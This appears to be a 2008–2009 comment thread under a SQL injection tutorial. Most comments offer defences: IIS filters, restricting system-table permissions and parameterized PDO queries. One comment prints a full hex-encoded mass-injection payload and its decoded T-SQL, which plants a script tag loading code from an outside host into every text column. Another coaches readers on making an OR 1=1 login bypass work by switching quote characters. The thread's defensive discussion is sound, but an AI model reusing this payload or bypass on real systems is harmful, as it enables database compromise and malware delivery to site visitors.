$value = str_replace(&quote;_AT_&quote;, &quote;@&quote;, &quote;$value&quote;);
$value = str_replace(&quote;_LEFT_ARROW_&quote;, &quote;<&quote;, &quote;$value&quote;);
$value = str_replace(&quote;_RIGHT_ARROW_&quote;, &quote;>&quote;, &quote;$value&quote;);
$value = str_replace(&quote;_LEFT_BRACKET_&quote;, &quote;[&quote;, &quote;$value&quote;);
$value = str_replace(&quote;_RIGHT_BRACKET_&quote;, &quote;]&quote;, &quote;$value&quote;);
$value = str_replace(&quote;_PERCENT_&quote;, &quote;%&quote;, &quote;$value&quote;);
```

Subject:	IIS Filter	**Date:**	22 Mar. 2008
From:	josie		

Hi All,

I work as System Engineer in a major ISP company and we are hosting a large number of legacy ASP applications which contain SQL Injection flaws. I always suggest clients to solve the problem by hardening the source code, but 9 out 10 times they don't have the resources. I have been using this tool when clients

agree:
http://www.codeplex.com/IIS6SQLInjection

So far it seems to be working and I have not had problems except that I cannot install in Windows 64 bit. Have you heard about this tool? Is there a way to make it work in 64 bit? The source code is there but I am not good in C++.

Thanks,

P.S.: I am not using my real name to avoid problem with my clients.

Subject:	IIS Filter to SQL Injection	**Date:**	8 May 2008
From:	Better Safe than Sorry		

A few of our legacy ASP application were affected by this outbreak. It was an accident waiting to happen though. The blame is on the poorly written code, not in SQL or IIS. Since it is too expensive (and difficult) to fix all code, you have to live with it. I found an interesting and free (GNU with source code) application for IIS that proved very efficient. I am still being attacked, but the filter has blocked the effects of such attacks.

Installation and code can be found here:
http://www.codeplex.com/IIS6SQLInjection (binary only)

The only bad thing is that it is not compatible with Windows 64 bits. I had to move all ASP application to a lesser server :(

Subject:	SQL Injection Programming Help	**Date:**	13 Jun. 2008
From:	Amir Segal		

If this helps at all, I posted a page with SQL Injection programming protection here:

http://www.cheergallery.com/SQLInjectionHelp.html

Amir Segal, Programmer

Subject:	What theyre really doing	**Date:**	18 Jun. 2008
From:	princeoforange		

FWIW, the techniques mentioned here don't quite describe the methods of employed by recent SQL Injection attacks I've seen. Look for something like this being appended to a legitimate command parameter:

```
'DECLARE @S VARCHAR(4000) SET
@S=CAST(0x4445434C415245204054205641524348415228323535292C404320564
15243484152283235352920444534C415245205461626C655F437572736F7220435
552534F5220464F522053454C45435420612E6E616D652C622E6E616D652046524F
4D207379736F626A6563747320612C737973636F6C756D6E73206220574845524452
0612E69643D622E696420414E4420612E78747970653D27752720414E442028622E7
8747970653D3939204F5220622E78747970653D3335204F5220622E78747970653D
323331204F5220622E78747970653D31363729204F50454E205461626C655F437572
736F72204645544348204E4558542046524F4D205461626C655F437572736F722049
4E544F2040542C4043205748494C4528404046455443485F5354415455533D302920
424547494E20455845432827555044415445205B272B40542B275D20534554205B2
72B40432B275D3D525452494D28434F4E5645525428564152434841522834303030
292C5B272B40432B275D29292B27273C7363726970742073726330D687474703A2F2
F7777772E6368696E61626E722E636F6D2F622E6A733E3C2F7363726970743E2727
2729204645544348204E4558542046524F4D205461626C655F437572736F7220494E
544F2040542C404320454E4420434C4F5345205461626C655F437572736F7220444
5414C4C4F434154452054616 26C655F437572736F7220 AS VARCHAR(4000));EXEC(@S);--
```

If you print @S, you get:

```
DECLARE @T VARCHAR(255),@C VARCHAR(255)
DECLARE Table_Cursor CURSOR FOR
SELECT a.name,b.name FROM sysobjects a,syscolumns b WHERE a.id=b.id AND a.xtype='u' AND
(b.xtype=99 OR b.xtype=35 OR b.xtype=231 OR b.xtype=167)
OPEN Table_Cursor
FETCH NEXT FROM Table_Cursor INTO @T,@C
WHILE(@@FETCH_STATUS=0) BEGIN EXEC('UPDATE ['+@T+'] SET
['+@C+']=RTRIM(CONVERT(VARCHAR(4000),['+@C+']))+''<script src=http://www.chinabnr.com/b.js>
</script>''')
FETCH NEXT FROM Table_Cursor INTO @T,@C
END
CLOSE Table_Cursor
DEALLOCATE Table_Cursor
```

Subject:	Another tip	**Date:**	22 Aug. 2008
From:	Brian		

Make sure the login you use from your web site does NOT have permission to system tables when it is not needed, especially sysobjects,syscolumns, system_objects, etc... public has access to them by default and that is what opens the door wide for most of these lowlifes if they do find a crack.

Subject:	KEY TO PREVENT SQL INJECTION	**Date:**	11 Nov. 2008
From:	ANKUR		

TUTORIAL IS OFCOURSE A QUALITY ONE!!! GREAT WORK BY AUTHOR...

TO PREVENT SQL INJECTION, ALWAYS REMEMBER ONE THING: ALL INPUTS ARE EVIL.
NEVER TRUST ANY USER INPUT(EVEN WHEN ITS HARD-CODED IN HIDDEN TEXT FIELD) OR INFORMATION FROM COOKIES.
ALWAYS PARSE THE INPUT AS HTML WHILE DISPLAYING THEM ON WEBPAGE. OTHERWISE, IT MIGHT BE EXPLOITED FOR HACKING SESSION ID OR RUNNING SCRIPTS.
BEFORE EXECUTING ANY SQL QUERY, ALWAYS PARSE IT TO VALID SQL USING CONSTRAINTS.

HAPPY SQL INJECTING...

Subject:	None	**Date:**	31 Dec. 2008
From:	Anonymous		

For all those people using ' OR 1=1-- and are still getting invalid username or password, try using &quote; instead of ', the ' in the injection part is the supposed end of the input string so if the start of the input string is a different symbol to the start of your injection, SQL will just carry on with the string, example

&quote;SELECT * FROM user WHERE user=&quote;$inputUser&quote; AND pass=&quote;$inputPass&quote;

If $inputUser is ' OR 1=1-- , It would think thats part of the username and not another part to the query

However, if $inputUser is &quote; OR 1=1-- , the query would look like this

'SELECT * FROM user WHERE user = &quote;&quote; OR 1=1', thats how SQL would see the query.

Subject:	Sql injection	**Date:**	1 May 2009
From:	Jonny		

```
$db = new PDO('pgsql:dbname=database');
$stmt = $db->prepare(&quote;SELECT priv FROM testUsers WHERE username=:username AND
password=:password&quote;);
$stmt->bindParam(':username', $user);
$stmt->bindParam(':password', $pass);
$stmt->execute();
```

Basically, it assigns parameters to the query rather than concatenating the query together to be run. By doing this, you ensure that your parameters will be interpreted as parameters (text) and not sql. So by using this method you are 100% secure for sql injections. However rfi or xss attacks may still be a problem :P Hope this helped anybody who was looking for a solution.